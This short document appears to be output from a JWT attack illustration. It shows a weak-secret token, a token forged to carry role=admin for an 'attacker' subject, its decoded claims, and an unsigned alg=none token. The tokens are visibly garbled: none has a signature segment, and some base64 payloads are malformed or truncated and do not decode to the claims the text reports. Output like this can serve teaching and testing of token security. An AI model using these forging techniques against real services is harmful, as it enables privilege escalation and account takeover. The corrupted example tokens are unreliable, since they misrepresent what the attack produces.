

JWT Attack Output

JWT Attack Illustration

Valid token with weak secret:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhbGljZSIsInJvbGUiOiJlc2VyIiwiaXhwIjoxNzU2NTc4OTgzfQ

Forged token with role=admin:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhdHRhY2tldCIIsInJvbGUiOiJhZGlpbIsImV4cCI6MTc1NjU4MD

Verification of forged token:

Decoded claims: {'sub': 'attacker', 'role': 'admin', 'exp': 1756580783}

Unsigned alg=none token example:

eyJ0eXAiOiAiSldUIiwgImFsZyI6IChub25lIn0.eyJzdWIiOiAiYXR0YWNrZXIiLCJleHAiOiAx